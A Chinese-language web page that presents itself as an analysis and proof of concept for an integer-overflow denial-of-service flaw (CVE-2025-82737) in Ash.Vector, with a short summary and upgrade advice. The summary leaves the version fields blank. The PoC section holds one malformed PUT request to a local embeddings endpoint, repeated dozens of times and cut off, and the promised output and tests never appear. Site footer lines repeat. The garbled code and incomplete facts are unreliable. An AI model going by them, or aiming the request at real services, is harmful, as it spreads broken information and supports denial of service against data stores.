Ash.Vector整数溢出漏洞(CVE-2025-82737)分析与PoC

漏洞关键信息总结 漏洞概述 漏洞名称： 输入验证不当（Improper input validation） CVE 编号：CVE-2025-82737 严重程度：中危（Moderate），CVSS 评分 5.9 / 10 漏洞类型：CWE-190（整数溢出） 影响：攻击者可提交超过 65,535 维的向量，导致向量被静默截断并损坏，序列化后无法再次反序列化，造成数据损坏及后续读取时崩溃（DoS）。 影响范围 受影响版本： 已修复版本： 影响对象：任何通过 HTTP 或 API 边界暴露 属性或参数的应用均受影响，无需特殊权限即可触发。 修复方案 升级至 3.32.2 或更高版本。 POC / 利用代码 1. 漏洞触发代码（Ruby 端点示例） 2. 复现输出（Reproduction output） 3. 验证断言（测试代码） ``` 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings", headers: [{"Authorization", "Bearer user-session"}], json 10.put(:req, path: "/127.0.0.1:6/port/embeddings"

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

Ash.Vector整数溢出漏洞(CVE-2025-82737)分析与PoC

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

Ash.Vector整数溢出漏洞(CVE-2025-82737)分析与PoC

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！